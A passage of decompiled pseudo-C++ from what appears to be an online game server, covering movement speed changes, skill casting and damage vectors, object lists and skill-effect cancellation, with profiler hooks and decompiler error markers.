AxialListPacketBroadcast::AxialListPacketBroadcast(&alchat, &gpp, 23); v10 = *(_DWORD *)(v1 + 78); LOBYTE(v21) = 1; v11 = AllOfRangeArgument::operator unsigned_long(&allofrangearg); ShineObjectClass::ShineObject::so_AllOfRange((void *)v1, v11, v10, 0, 0, (int)&alchat, 0, 65535); LOBYTE(v21) = 0; AxialListPacketBroadcast::_AxialListPacketBroadcast(&alchat); } } if ( (*(int (__thiscall **)(int))(*(_DWORD *)v1 + 1972))(v1) == 2 ) { v12 = (unsigned __int16)(*(int (__thiscall **)(int))(*(_DWORD *)v1 + 1300))(v1); if ( (*(int (__thiscall **)(int))(*(_DWORD *)v1 + 1968))(v1) != v12 ) { v13 = *(_DWORD *)v1; v14 = (*(int (__thiscall **)(int, signed int, _DWORD))(*(_DWORD *)v1 + 1300))(v1, 2, 0); (*(void (__thiscall **)(int, int, _DWORD))(v13 + 1624))(v1, v3, v14); if ( ShineDynamicCast((#593 *)v1) ) { (*(void (__thiscall **)(int, int, signed int, signed int, signed int, _DWORD))(*(_DWORD *)v1 + 1452))( v1, v3, 26, 73, 2, 0); } else { v15 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 8218; v16 = (int)(v15 + 2); *((_WORD *)v15 + 1) = *(_WORD *)(v1 + 4); v17 = *(_DWORD *)(v1 + 78); *(_DWORD *)(v16 + 2) = *(_DWORD *)v17; *(_DWORD *)(v16 + 6) = *(_DWORD *)(v17 + 4); *(_DWORD *)(v16 + 10) = *(_DWORD *)v3; LOBYTE(v17) = *(_BYTE *)(v16 + 20) & 0xFE; *(_DWORD *)(v16 + 14) = *(_DWORD *)(v3 + 4); *(_BYTE *)(v16 + 20) = v17; *(_WORD *)(v16 + 18) = (*(int (__thiscall **)(int))(*(_DWORD *)v1 + 1300))(v1); ShineObjectClass::ShineMobileObject::smo_SetMovePacket(v1, 26, v16); AxialListPacketBroadcast::AxialListPacketBroadcast(&alchat, &gpp, 23); v18 = *(_DWORD *)(v1 + 78); LOBYTE(v21) = 2; v19 = AllOfRangeArgument::operator unsigned_long(&allofrangearg); ShineObjectClass::ShineObject::so_AllOfRange((void *)v1, v19, v18, 0, 0, (int)&alchat, 0, 65535); LOBYTE(v21) = 0; AxialListPacketBroadcast::_AxialListPacketBroadcast(&alchat); } } } --funcallanalizer.fca_stackpoint; v21 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::so_mobile_SpeedChange"); } //----- (0042EE60) -------------------------------------------------------- #error "42EE60: undefined or illegal type '#593' (funcsize=193)" //----- (0042F0D0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_ChineCastCut(void *this) { void *v1; // edi@1 char v2; // al@1 unsigned __int16 v3; // bp@2 unsigned __int16 v4; // dx@3 int v5; // eax@4 int v6; // esi@4 unsigned __int16 v7; // bx@4 bool v8; // cf@4 int v9; // ecx@6 int v10; // ecx@8 int v11; // eax@9 int v12; // eax@10 int v13; // eax@14 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_ChineCastCut"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_ChineCastCut"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = *((_BYTE *)v1 + 7428); if ( v2 & 0x40 ) { *((_BYTE *)v1 + 7428) = v2 & 0xBF; v3 = *(_WORD *)(*((_DWORD *)v1 + 886) + 12 * *((_WORD *)v1 + 1775) + 4); while ( 1 ) { v4 = *((_WORD *)v1 + 1770); if ( v3 >= v4 ) break; v5 = *((_DWORD *)v1 + 886); v6 = v3; v7 = v3; v8 = v3 < v4; v3 = *(_WORD *)(v5 + 12 * v3 + 4); if ( v8 && *(_BYTE *)(v5 + 12 * v6 + 8) ) v9 = *(_DWORD *)(v5 + 12 * v6); else v9 = 0; v10 = *((_DWORD *)&abstateidentarray + 3 * *(_DWORD *)(v9 + 4)); if ( v7 < v4 && (v11 = v5 + 12 * v6, *(_BYTE *)(v11 + 8)) ) v12 = *(_DWORD *)v11; else v12 = 0; if ( (unsigned __int8)(*(int (__stdcall **)(int))(*(_DWORD *)v10 + 32))(v12) ) { if ( v7 < *((_WORD *)v1 + 1770) && (v13 = *((_DWORD *)v1 + 886) + 12 * v6, *(_BYTE *)(v13 + 8)) ) *(_DWORD *)(*(_DWORD *)v13 + 32) = clockwatch.cw_CurrTick; else v20 = clockwatch.cw_CurrTick; } } } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_ChineCastCut"); } //----- (0042F240) -------------------------------------------------------- void __cdecl std::_Uninit_fill_n>(PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage *_First, unsigned int _Count, PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage *_Val, std::allocator *_Al, std::_Nonscalar_ptr_iterator_tag __formal) { unsigned int v5; // ecx@2 PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage *v6; // eax@2 if ( _Count ) { v5 = _Count; v6 = _First; do { if ( v6 ) { *(_DWORD *)&v6->handle = *(_DWORD *)&_Val->handle; v6->hpchange = _Val->hpchange; v6->resthp = _Val->resthp; v6->hpchangeorder = _Val->hpchangeorder; } ++v6; --v5; } while ( v5 ); } } //----- (0042F280) -------------------------------------------------------- void __thiscall List::l_Clear(List *this) { int (__stdcall **eraser)(int, __int16); // [sp+0h] [bp-14h]@1 List *v2; // [sp+4h] [bp-10h]@1 int v3; // [sp+10h] [bp-4h]@1 eraser = &ListEraser::_vftable_; v2 = this; v3 = 0; List::l_4AllInList((List *)this, (ListIteratorDefault *)&eraser); } // 632E04: using guessed type int (__stdcall *ListEraser_ItemLotAnalyser__LotChanger____vftable_)(int ele, __int16 handle); //----- (0042F2D0) -------------------------------------------------------- void __thiscall List::l_MakeList(List *this, unsigned __int16 size) { List *v2; // esi@1 void *v3; // eax@3 signed int v4; // eax@4 int v5; // ecx@4 signed int v6; // eax@6 int v7; // ecx@7 unsigned __int16 v8; // ax@9 ListStruct *v9; // edi@9 int v10; // eax@9 v2 = this; this->l_MaxSize = size; if ( size == -1 ) { this->l_Array = 0; } else { v3 = operator new__(12 * (size + 1)); v2->l_Array = (ListStruct *)v3; if ( v3 ) { v4 = 0; v5 = 0; do { v2->l_Array[v5].ls_Content = 0; ++v4; ++v5; } while ( v4 <= v2->l_MaxSize ); v6 = 0; if ( v2->l_MaxSize > 0u ) { v7 = 0; do { v2->l_Array[v7].ls_Prev = v6 - 1; v2->l_Array[v7].ls_Next = v6 + 1; v2->l_Array[v7].ls_IsActiv = 0; ++v6; ++v7; } while ( v6 < v2->l_MaxSize ); } v2->l_Array->ls_Prev = v2->l_MaxSize - 1; *((_WORD *)&v2->l_Array[v2->l_MaxSize] - 4) = 0; v8 = v2->l_MaxSize; v9 = v2->l_Array; v2->l_Finger.store = v8; v2->l_Finger.empty = 0; v9[v8].ls_Prev = v8; v10 = (int)&v2->l_Array[v2->l_MaxSize]; *(_WORD *)(v10 + 4) = *(_WORD *)(v10 + 6); v2->l_Array[v2->l_MaxSize].ls_Content = 0; v2->l_Array[v2->l_MaxSize].ls_IsActiv = 1; v2->l_ListNum = 0; List::l_Clear(v2); } } } //----- (0042F3F0) -------------------------------------------------------- DamageBySoul::SoulDamateElement *__thiscall DamageBySoul::SoulDamageContainer::operator__(DamageBySoul::SoulDamageContainer *this, unsigned __int16 index) { DamageBySoul::SoulDamateElement *v2; // esi@1 signed int v3; // edx@2 DamageBySoul::SoulDamateElement *result; // eax@5 v2 = this->sdc_Vector._Myfirst; if ( v2 ) v3 = this->sdc_Vector._Mylast - v2; else v3 = 0; if ( index < (unsigned int)v3 ) result = &v2[index]; else result = &this->sdc_Default; return result; } //----- (0042F420) -------------------------------------------------------- #error "42F420: undefined or illegal type '#615' (funcsize=165)" //----- (0042F640) -------------------------------------------------------- PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage *__thiscall std::vector>::_Ufill(std::vector > *this, PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage *_Ptr, unsigned int _Count, PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage *_Val) { std::_Uninit_fill_n>( _Ptr, _Count, _Val, &this->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Val); return &_Ptr[_Count]; } //----- (0042F670) -------------------------------------------------------- void __thiscall BattleObjectGroup::BattleObjectList::BattleObjectList(BattleObjectGroup::BattleObjectList *this) { BattleObjectGroup::BattleObjectList *v1; // esi@1 signed int v2; // edx@1 int v3; // eax@1 int v4; // edi@1 signed int v5; // ebx@1 ListStruct *v6; // ecx@3 BattleObjectGroup::BattleObject *v7; // ebp@3 int v8; // ecx@3 ListStruct *v9; // ecx@6 BattleObjectGroup::BattleObject *v10; // ebp@6 int v11; // ecx@6 ListStruct *v12; // ecx@9 BattleObjectGroup::BattleObject *v13; // ebp@9 int v14; // ecx@9 ListStruct *v15; // ecx@12 BattleObjectGroup::BattleObject *v16; // ebp@12 int v17; // ecx@12 v1 = this; this->baseclass_0.vfptr = (ListVtbl *)List::_vftable_; this->baseclass_0.l_ListArray = 0; List::l_MakeList(&this->baseclass_0, 0x400u); v1->baseclass_0.vfptr = (ListVtbl *)List::_vftable_; _eh_vector_constructor_iterator_( v1->bol_Array, 0xE0u, 1024, (void (__thiscall *)(void *))BattleObjectGroup::BattleObject::BattleObject, (void (__thiscall *)(void *))BattleObjectGroup::BattleObject::_BattleObject); v2 = 2; v3 = 0; v4 = (int)&v1->bol_Array[1]; v5 = 256; do { if ( v2 - 2 < v1->baseclass_0.l_MaxSize ) { v6 = v1->baseclass_0.l_Array; v7 = v6[v3].ls_Content; v8 = (int)&v6[v3]; if ( !v7 ) *(_DWORD *)v8 = v4 - 224; } if ( v2 - 1 < v1->baseclass_0.l_MaxSize ) { v9 = v1->baseclass_0.l_Array; v10 = v9[v3 + 1].ls_Content; v11 = (int)&v9[v3 + 1]; if ( !v10 ) *(_DWORD *)v11 = v4; } if ( v2 < v1->baseclass_0.l_MaxSize ) { v12 = v1->baseclass_0.l_Array; v13 = v12[v3 + 2].ls_Content; v14 = (int)&v12[v3 + 2]; if ( !v13 ) *(_DWORD *)v14 = v4 + 224; } if ( v2 + 1 < v1->baseclass_0.l_MaxSize ) { v15 = v1->baseclass_0.l_Array; v16 = v15[v3 + 3].ls_Content; v17 = (int)&v15[v3 + 3]; if ( !v16 ) *(_DWORD *)v17 = v4 + 448; } v3 += 4; v2 += 4; v4 += 896; --v5; } while ( v5 ); } // 638B00: using guessed type int (__stdcall *List_BattleObjectGroup__BattleObject____vftable_[3])(__int16 hnd); //----- (0042F790) -------------------------------------------------------- std::vector >::iterator *__thiscall std::vector>::erase(std::vector > *this, std::vector >::iterator *result, std::vector >::iterator _First, std::vector >::iterator _Last) { std::vector >::iterator v4; // eax@1 SkillEffectApply::SkillBlastEffect *v5; // ebx@2 std::vector >::iterator v6; // edx@2 const void *v7; // esi@3 void *v8; // edi@3 std::vector >::iterator *v9; // eax@5 v4 = _Last; if ( _First != _Last ) { v5 = this->_Mylast; v6 = _First; if ( (SkillEffectApply::SkillBlastEffect *)_Last != v5 ) { do { v7 = (const void *)v4; v8 = (void *)v6; *(_DWORD *)&v4 += 108; *(_DWORD *)&v6 += 108; memcpy(v8, v7, 0x6Cu); } while ( (SkillEffectApply::SkillBlastEffect *)v4 != v5 ); } this->_Mylast = (SkillEffectApply::SkillBlastEffect *)v6; } v9 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = _First; return v9; } //----- (0042F7E0) -------------------------------------------------------- void __thiscall std::vector>::_Xlen(std::vector > *this) { std::basic_string,std::allocator > thisa; // [sp+0h] [bp-50h]@1 int (__thiscall **pExceptionObject)(void *, char); // [sp+1Ch] [bp-34h]@1 int v3; // [sp+4Ch] [bp-4h]@1 thisa._Myres = 15; thisa._Mysize = 0; thisa._Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign(&thisa, "vector too long", 0x12u); v3 = 0; std::logic_error::logic_error((std::logic_error *)&pExceptionObject, &thisa); pExceptionObject = &std::length_error::_vftable_; _CxxThrowException(&pExceptionObject, &_TI3_AVlength_error_std__); } // 689BF8: using guessed type int (__thiscall *std__length_error___vftable_)(void *p, char); //----- (0042F850) -------------------------------------------------------- void __thiscall std::vector>::_Insert_n(std::vector > *this, std::vector >::iterator _Where, unsigned int _Count, PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage *_Val) { std::vector > *v4; // esi@1 unsigned int v5; // edx@1 PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage *v6; // ebx@1 unsigned int v7; // ecx@1 unsigned int v8; // ecx@2 signed int v9; // edx@3 unsigned int v10; // edi@4 int v11; // eax@6 int v12; // eax@11 int v13; // ecx@15 int v14; // eax@18 int v15; // ebx@22 PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage *v16; // ST18_4@22 int v17; // eax@22 int v18; // edi@24 PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage *v19; // ecx@27 std::vector >::iterator v20; // ebx@27 signed int v21; // edx@27 unsigned int v22; // ST28_4@28 PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage *v23; // ST24_4@28 unsigned int v24; // edx@28 int v25; // [sp+0h] [bp-2Ch]@1 int _Tmp; // [sp+Ch] [bp-20h]@1 unsigned int v27; // [sp+10h] [bp-1Ch]@1 unsigned int v28; // [sp+14h] [bp-18h]@1 __int16 v29; // [sp+18h] [bp-14h]@1 int *v30; // [sp+1Ch] [bp-10h]@1 int v31; // [sp+28h] [bp-4h]@22 PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage *_Wherea; // [sp+34h] [bp+8h]@29 PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage *_Ptr; // [sp+38h] [bp+Ch]@22 void *_Newvec; // [sp+3Ch] [bp+10h]@22 PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage *_Newveca; // [sp+3Ch] [bp+10h]@27 v4 = this; v5 = _Val->hpchange; v6 = this->_Myfirst; _Tmp = *(_DWORD *)&_Val->handle; v7 = _Val->resthp; v27 = v5; LOWORD(v5) = _Val->hpchangeorder; v30 = &v25; v28 = v7; v29 = v5; if ( v6 ) { v9 = (signed int)((char *)v4->_Myend + (unsigned int)(((unsigned __int64)(-1840700269i64 * (unsigned int)((char *)v4->_Myend - (char *)v6)) >> 32) - (unsigned int)v6)) >> 3; v8 = v9 + ((unsigned int)v9 >> 31); } else { v8 = 0; } v10 = _Count; if ( _Count ) { if ( v6 ) v11 = v4->_Mylast - v4->_Myfirst; else v11 = 0; if ( (unsigned int)((char *)&pathfindtable.pft_table[2101][1523].pfc_flag + -v11 + 2) < _Count ) std::vector>::_Xlen(v4); if ( v4->_Myfirst ) v12 = v4->_Mylast - v4->_Myfirst; else v12 = 0; if ( v8 >= _Count + v12 ) { v19 = v4->_Mylast; v20 = _Where; v21 = (signed int)((char *)v4->_Mylast + ((unsigned __int64)(-1840700269i64 * (unsigned int)((char *)v4->_Mylast - *(_DWORD *)&_Where)) >> 32) - *(_DWORD *)&_Where) >> 3; _Newveca = v4->_Mylast; if ( v21 + ((unsigned int)v21 >> 31) >= _Count ) { _Wherea = &v19[-_Count]; v4->_Mylast = std::_Uninit_copy>::iterator_PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage___std::allocator>( &v19[-_Count], v19, v19, &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)((_BYTE)v19 - 14 * _Count)); std::_Copy_backward_opt( *(PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage **)&v20, _Wherea, _Newveca, (std::_Nonscalar_ptr_iterator_tag)_Wherea); std::fill( *(PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage **)&v20, (PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage *)(*(_DWORD *)&v20 + 14 * _Count), (PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage *)&_Tmp); } else { std::_Uninit_copy>::iterator_PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage___std::allocator>( *(PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage **)&_Where, v19, (PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage *)(*(_DWORD *)&_Where + 14 * _Count), &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)(14 * _Count)); v22 = _Count - (signed int)((char *)v4->_Mylast - *(_DWORD *)&_Where) / 14; v23 = v4->_Mylast; v31 = 2; std::vector>::_Ufill( v4, v23, v22, (PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage *)&_Tmp); v24 = (unsigned int)&v4->_Mylast[_Count]; v4->_Mylast = (PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage *)v24; std::fill( *(PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage **)&_Where, (PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage *)(v24 - 14 * _Count), (PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage *)&_Tmp); } } else { if ( (unsigned int)((char *)&pathfindtable.pft_table[2101][1523].pfc_flag + -(v8 >> 1) + 2) >= v8 ) v13 = (v8 >> 1) + v8; else v13 = 0; if ( v4->_Myfirst ) v14 = v4->_Mylast - v4->_Myfirst; else v14 = 0; if ( v13 < _Count + v14 ) v13 = _Count + std::vector>::size(v4); v15 = 14 * v13; _Newvec = operator new(14 * v13); v16 = v4->_Myfirst; v31 = 0; _Ptr = std::_Uninit_copy>::iterator_PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage___std::allocator>( v16, *(PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage **)&_Where, (PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage *)_Newvec, &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Where.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]); std::_Uninit_fill_n>( _Ptr, v10, (PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage *)&_Tmp, &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Where.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]); std::_Uninit_copy>::iterator_PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage___std::allocator>( *(PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage **)&_Where, v4->_Mylast, &_Ptr[v10], &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Where.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]); v17 = (int)v4->_Myfirst; if ( v17 ) v17 = (signed int)((char *)v4->_Mylast - v17) / 14; v18 = v17 + v10; if ( v4->_Myfirst ) operator delete(v4->_Myfirst); v4->_Myend = (PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage *)((char *)_Newvec + v15); v4->_Mylast = (PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage *)((char *)_Newvec + 14 * v18); v4->_Myfirst = (PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage *)_Newvec; } } } //----- (0042FB30) -------------------------------------------------------- void __thiscall SkillEffectApply::SkillEffectEraser::_SkillEffectEraser(SkillEffectApply::SkillEffectEraser *this) { std::vector > *v1; // ebp@1 SkillEffectApply::SkillBlastEffect *v2; // eax@1 SkillEffectApply::SkillBlastEffect *v3; // edx@1 SkillEffectApply::SkillBlastEffect *v4; // ecx@2 SkillEffectApply::SkillBlastEffect *v5; // ebx@6 int v6; // eax@6 void *v7; // edx@7 const void *v8; // esi@8 void *v9; // edi@8 v1 = this->see_List; v2 = this->see_List->_Myfirst; v3 = this->see_List->_Mylast; if ( v2 != v3 ) { v4 = *(SkillEffectApply::SkillBlastEffect **)&this->see_Skill.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]; while ( v2 != v4 ) { ++v2; if ( v2 == v3 ) return; } v5 = v1->_Mylast; v6 = (int)&v4[1]; if ( &v4[1] != v5 ) { v7 = v4; do { v8 = (const void *)v6; v9 = v7; v6 += 108; v7 = (char *)v7 + 108; memcpy(v9, v8, 0x6Cu); } while ( (SkillEffectApply::SkillBlastEffect *)v6 != v5 ); } --v1->_Mylast; } } //----- (0042FB80) -------------------------------------------------------- void __thiscall SkillEffectApply::SkillBlastEffectContainer::sbec_SkillCancel(SkillEffectApply::SkillBlastEffectContainer *this, #615 *caster) { SkillEffectApply::SkillBlastEffectContainer *v2; // edi@1 std::vector >::iterator v3; // esi@1 std::vector >::iterator v4; // eax@1 std::vector >::iterator v5; // eax@1 std::vector >::iterator v6; // [sp+8h] [bp-84h]@2 FunctionEntarance _; // [sp+Ch] [bp-80h]@1 std::vector >::iterator result; // [sp+10h] [bp-7Ch]@1 char key; // [sp+14h] [bp-78h]@1 #615 *v10; // [sp+28h] [bp-64h]@1 int v11; // [sp+44h] [bp-48h]@1 int v12; // [sp+48h] [bp-44h]@1 int v13; // [sp+4Ch] [bp-40h]@1 int v14; // [sp+50h] [bp-3Ch]@1 int v15; // [sp+54h] [bp-38h]@1 int v16; // [sp+58h] [bp-34h]@1 int v17; // [sp+5Ch] [bp-30h]@1 int v18; // [sp+60h] [bp-2Ch]@1 int v19; // [sp+64h] [bp-28h]@1 int v20; // [sp+68h] [bp-24h]@1 int v21; // [sp+6Ch] [bp-20h]@1 int v22; // [sp+70h] [bp-1Ch]@1 int v23; // [sp+74h] [bp-18h]@1 int v24; // [sp+78h] [bp-14h]@1 int v25; // [sp+88h] [bp-4h]@1 v2 = this; _.fe_FunctionCode = "SkillEffectApply::SkillBlastEffectContainer::sbec_SkillCancel"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "SkillEffectApply::SkillBlastEffectContainer::sbec_SkillCancel"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "SkillEffectApply::SkillBlastEffectContainer::sbec_SkillCancel"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = (std::vector >::iterator)v2->sbec_List._Mylast; v14 = 609; v17 = 609; v20 = 609; v23 = 609; v25 = 0; v13 = 0; v15 = 0; v16 = 0; v18 = 0; v19 = 0; v21 = 0; v22 = 0; v24 = 0; v4 = (std::vector >::iterator)v2->sbec_List._Myfirst; v10 = caster; v11 = -1; v12 = 1000; v5 = *(std::vector >::iterator *)&std::find>::iterator_SkillEffectApply::SkillBlastEffect>(&result, v4, v3, (SkillEffectApply::SkillBlastEffect *)&key)->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]; if ( v5 != v3 ) { std::remove_copy>::iterator_std::vector>::iterator_SkillEffectApply::SkillBlastEffect>( &v6, (std::vector >::iterator)(*(_DWORD *)&v5 + 108), v3, v5, (SkillEffectApply::SkillBlastEffect *)&key); v5 = v6; } std::vector>::erase( &v2->sbec_List, (std::vector >::iterator *)&_, v5, v3); --funcallanalizer.fca_stackpoint; v25 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "SkillEffectApply::SkillBlastEffectContainer::sbec_SkillCancel"); } //----- (0042FCC0) -------------------------------------------------------- void __thiscall std::vector>::reserve(std::vector > *this, unsigned int _Count) { std::vector > *v2; // esi@1 SkillEffectApply::SkillBlastEffect *v3; // eax@3 void *v4; // eax@6 AbnormalStateContainer::AbstateElementInObject *v5; // ST04_4@6 AbnormalStateContainer::AbstateElementInObject *v6; // ST00_4@6 SkillEffectApply::SkillBlastEffect *v7; // ebx@6 int v8; // edi@7 signed int v9; // edx@8 SkillEffectApply::SkillBlastEffect *v10; // ecx@10 SkillEffectApply::SkillBlastEffect *v11; // eax@10 char *v12; // ecx@13 char *v13; // edi@13 int v14; // [sp+0h] [bp-20h]@1 char *_Ptr; // [sp+Ch] [bp-14h]@6 int *v16; // [sp+10h] [bp-10h]@1 int v17; // [sp+1Ch] [bp-4h]@6 v16 = &v14; v2 = this; if ( _Count > (unsigned int)&wholesaver.ws_savestore[363].esc_abstate.buffer[14623] ) std::vector>::_Xlen((std::vector > *)this); v3 = this->_Myfirst; if ( v3 ) v3 = (SkillEffectApply::SkillBlastEffect *)(this->_Myend - v3); if ( (unsigned int)v3 < _Count ) { v4 = operator new(108 * _Count); v5 = (AbnormalStateContainer::AbstateElementInObject *)v2->_Mylast; v6 = (AbnormalStateContainer::AbstateElementInObject *)v2->_Myfirst; _Ptr = (char *)v4; v17 = 0; std::_Uninit_copy>::const_iterator_AbnormalStateContainer::AbstateElementInObject___std::allocator>( v6, v5, (AbnormalStateContainer::AbstateElementInObject *)v4, (std::allocator *)v2, (std::_Nonscalar_ptr_iterator_tag)_Count); v7 = v2->_Myfirst; if ( v7 ) { v9 = (signed int)((unsigned __int64)(1272582903i64 * (unsigned int)((char *)v2->_Mylast - (char *)v7)) >> 32) >> 5; v8 = v9 + ((unsigned int)v9 >> 31); } else { v8 = 0; } if ( v7 ) { v10 = v2->_Mylast; v11 = v2->_Myfirst; if ( v7 != v10 ) { do ++v11; while ( v11 != v10 ); } operator delete(v2->_Myfirst); } v12 = _Ptr; v13 = &_Ptr[108 * v8]; v2->_Myend = (SkillEffectApply::SkillBlastEffect *)&_Ptr[108 * _Count]; v2->_Mylast = (SkillEffectApply::SkillBlastEffect *)v13; v2->_Myfirst = (SkillEffectApply::SkillBlastEffect *)v12; } } //----- (0042FDAF) -------------------------------------------------------- void __usercall _L184167(int a1) { operator delete(*(void **)(a1 - 20)); _CxxThrowException(0, 0); } //----- (0042FDD0) -------------------------------------------------------- void __thiscall std::vector>::reserve(std::vector > *this, unsigned int _Count) { std::vector > *v2; // esi@1 PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage *v3; // eax@3 unsigned int v4; // ebx@6 PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage *v5; // ST04_4@6 PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage *v6; // ST00_4@6 PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage *v7; // eax@6 int v8; // edi@7 signed int v9; // edx@8 int v10; // [sp+0h] [bp-1Ch]@1 int *v11; // [sp+Ch] [bp-10h]@1 int v12; // [sp+18h] [bp-4h]@6 void *_Ptr; // [sp+24h] [bp+8h]@6 v11 = &v10; v2 = this; if ( _Count > (unsigned int)((char *)&pathfindtable.pft_table[2101][1523].pfc_flag + 2) ) std::vector>::_Xlen(this); v3 = this->_Myfirst; if ( v3 ) v3 = (PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage *)(this->_Myend - v3); if ( (unsigned int)v3 < _Count ) { v4 = 14 * _Count; _Ptr = operator new(14 * _Count); v5 = v2->_Mylast; v6 = v2->_Myfirst; v12 = 0; std::_Uninit_copy>::iterator_PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage___std::allocator>( v6, v5, (PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage *)_Ptr, &v2->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Ptr); v7 = v2->_Myfirst; if ( v7 ) { v9 = (signed int)((char *)v2->_Mylast + (unsigned int)(((unsigned __int64)(-1840700269i64 * (unsigned int)((char *)v2->_Mylast - (char *)v7)) >> 32) - (unsigned int)v7)) >> 3; v8 = v9 + ((unsigned int)v9 >> 31); } else { v8 = 0; } if ( v2->_Myfirst ) operator delete(v2->_Myfirst); v2->_Myend = (PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage *)((char *)_Ptr + v4); v2->_Mylast = (PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage *)((char *)_Ptr + 14 * v8); v2->_Myfirst = (PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage *)_Ptr; } } //----- (0042FEA6) -------------------------------------------------------- void __usercall _L184371(int a1) { operator delete(*(void **)(a1 + 8)); _CxxThrowException(0, 0); } //----- (0042FEC0) -------------------------------------------------------- void __thiscall std::vector>::_Insert_n(std::vector > *this, std::vector >::iterator _Where, unsigned int _Count, SkillEffectApply::SkillBlastEffect *_Val) { std::vector > *v4; // ebx@1 SkillEffectApply::SkillBlastEffect *v5; // ecx@1 unsigned int v6; // edi@2 signed int v7; // edx@3 unsigned int v8; // esi@4 int v9; // eax@6 int v10; // eax@11 int v11; // edi@15 int v12; // eax@18 AbnormalStateContainer::AbstateElementInObject *v13; // ST14_4@22 SkillEffectApply::SkillBlastEffect *v14; // ecx@22 int v15; // eax@23 int v16; // esi@25 SkillEffectApply::SkillBlastEffect *v17; // edx@26 SkillEffectApply::SkillBlastEffect *v18; // eax@26 AbnormalStateContainer::AbstateElementInObject *v19; // ecx@30 std::vector >::iterator v20; // edi@30 SkillEffectApply::SkillBlastEffect *v21; // ecx@31 